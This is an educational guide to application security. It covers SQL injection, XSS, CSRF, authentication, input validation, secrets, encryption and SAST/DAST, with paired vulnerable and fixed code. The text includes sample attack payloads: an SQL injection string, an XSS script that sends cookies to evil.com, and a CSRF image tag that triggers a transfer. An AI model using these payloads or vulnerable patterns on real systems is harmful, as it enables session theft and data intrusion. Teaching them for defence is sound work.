Application Security
π― Key Takeaways & Definition
Definition: Application Security (AppSec) involves developing, adding, and testing security features within applications to prevent vulnerabilities against threats.
Core Concept: Focuses on security at the code level, ensuring software itself is not the weak link.
Key Objective: Find and fix security holes during development (SDLC), rather than waiting for a breach.
1. Definition of Application Security
Application security protects code and logic throughout the application lifecycle. While Network Security protects infrastructure (walls), Application Security protects the business inside (the safe).
Why It Matters:
- β 94% of attacks now exploit application layer (Verizon 2025)
- β Average breach cost: $4.45 million
- β Fixing bugs in production is 100x more expensive than during development
2. Application Security Threats (OWASP Top 10 Focus)
The OWASP Top 10 represents the most critical security risks to web applications.
A. SQL Injection (SQLi) π
The Flaw: Application pastes user input directly into database query without checking.
Vulnerable Code:
$query = "SELECT * FROM users WHERE id = '" . $userId . "'";Attack:
Input: 123' OR '1'='1 Query: SELECT * FROM users WHERE id = '123' OR '1'='1' Result: Returns ALL users (always true)
The Fix: Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
// User input treated as DATA, not CODEB. Cross-Site Scripting (XSS) π·οΈ
The Flaw: Application allows users to inject HTML/JavaScript displayed to others.
Attack:
Comment: <script>fetch('http://evil.com/steal?c='+document.cookie)</script>
Result: Steals session cookies from all viewersThe Fix: Output Encoding
echo htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8');
// <script> becomes <script> (displayed as text, not executed)C. Cross-Site Request Forgery (CSRF) π―
The Flaw: Application trusts any request from authenticated user's browser.
Attack Scenario:
- User logs into bank.com
- Visits evil.com (still logged in)
- evil.com contains:
<img src="https://bank.com/transfer?to=hacker&amount=1000"> - Browser sends bank cookies automatically
- Bank processes transfer
The Fix: Anti-CSRF Tokens
// Generate token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Embed in form
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
// Validate
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF attack detected!");
}D. Broken Authentication π
Common Weaknesses:
- β’ Weak passwords allowed ("password123")
- β’ No account lockout (unlimited login attempts)
- β’ Session IDs in URLs
- β’ Predictable session IDs
Secure Password Storage:
// NEVER plain text or MD5!
// Use bcrypt:
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// Verify:
if (password_verify($inputPassword, $storedHash)) {
// Login successful
}Secure Session Configuration:
ini_set('session.cookie_httponly', 1); // Can't access via JavaScript (XSS protection)
ini_set('session.cookie_secure', 1); // HTTPS only
ini_set('session.cookie_samesite', 'Strict'); // CSRF protectionβ οΈ SQLi vs. XSS (Exam Focus)
| Feature | SQL Injection | Cross-Site Scripting |
|---|---|---|
| Target | Database (Server-side) | User's Browser (Client-side) |
| Language | SQL commands | JavaScript/HTML |
| Who Gets Hurt | Company (data stolen) | Other users (cookies stolen) |
| Example Payload | ' OR '1'='1' -- | <script>alert(1)</script> |
| Defense | Prepared Statements | Output Encoding + CSP |
3. Application Security Measures
A. Input Validation β
The Golden Rule: "Accept Known Good" (Whitelist) is better than "Reject Known Bad" (Blacklist).
Blacklist (Weak):
$input = str_replace(["<script>", "DROP"], "", $input);
// Easily bypassed: <ScRiPt>, <scr<script>ipt>Whitelist (Strong):
if (preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
// Valid: only letters, numbers, underscore
} else {
die("Invalid format");
}Validation Examples:
// Email
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
// Integer with range
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT, [
'options' => ['min_range' => 0, 'max_range' => 150]
]);B. Never Hardcode Secrets π
BAD:
DATABASE_PASSWORD = "super_secret_123" # DON'T DO THIS!GOOD (Environment Variables):
import os
DATABASE_PASSWORD = os.environ.get('DATABASE_PASSWORD')Best (Secret Management):
- β’ AWS Secrets Manager
- β’ HashiCorp Vault
- β’ Azure Key Vault
C. Encryption π
Data in Transit:
- β’ Use TLS 1.3 for all communications (HTTPS)
- β’ Disable TLS 1.0/1.1 (vulnerable)
Data at Rest:
from cryptography.fernet import Fernet
key = Fernet.generate_key() # Store securely!
cipher = Fernet(key)
# Encrypt
encrypted = cipher.encrypt(b"sensitive data")
# Decrypt
decrypted = cipher.decrypt(encrypted)4. Application Security Testing
SAST (Static Application Security Testing) Γ°ΕΈβΒ
Definition: Analyzes source code for vulnerabilities (white box).
What It Finds:
- β’ SQL injection patterns
- β’ Hardcoded passwords
- β’ Insecure functions (md5, eval)
- β’ Buffer overflows
Tools:
- β’ Commercial: Checkmarx, Veracode
- β’ Open-Source: SonarQube, Semgrep
Pros:
- β Early detection (during development)
- β Exact line number
- β Scans all code paths
Cons:
- Γ’ΒΕ High false positives (30-50%)
- Γ’ΒΕ Doesn't prove exploitability
DAST (Dynamic Application Security Testing) π―
Definition: Attacks running application from outside (black box).
What It Finds:
- β’ Exploitable SQL injection
- β’ XSS vulnerabilities
- β’ Authentication bypasses
- β’ Configuration issues
Tools:
- β’ Commercial: Burp Suite Pro, Acunetix
- β’ Open-Source: OWASP ZAP
Pros:
- β Low false positives (confirms exploitability)
- β Technology-agnostic (no source code needed)
Cons:
- Γ’ΒΕ Late detection (application must be running)
- Γ’ΒΕ Doesn't scan all code paths
Comparison: SAST vs DAST
| Factor | SAST | DAST |
|---|---|---|
| When | During coding | After deployment |
| Access | Needs source code | No source needed |
| Speed | Fast (minutes) | Slow (hours) |
| False Positives | High (30-50%) | Low (5-10%) |
| Finds | Potential bugs | Confirmed exploits |
Best Practice: Use both for comprehensive coverage!
Conclusion
Application Security is where 94% of attacks occur. By integrating security into every SDLC phaseβfrom threat modeling to SAST/DAST testingβorganizations catch vulnerabilities when cheapest to fix.
Remember:
- β SQL Injection = Use prepared statements
- β XSS = Output encoding + CSP
- β CSRF = Anti-CSRF tokens
- β Broken Auth = Strong passwords + MFA
- β Input Validation = Whitelist over blacklist
- β Never hardcode secrets = Environment variables
- β SAST = Early detection (high false positives)
- β DAST = Confirms exploits (low false positives)
- β Shift Left = Security from day one
- β DevSecOps = Everyone's responsibility
Security must be built-in, not bolted on! π‘οΈ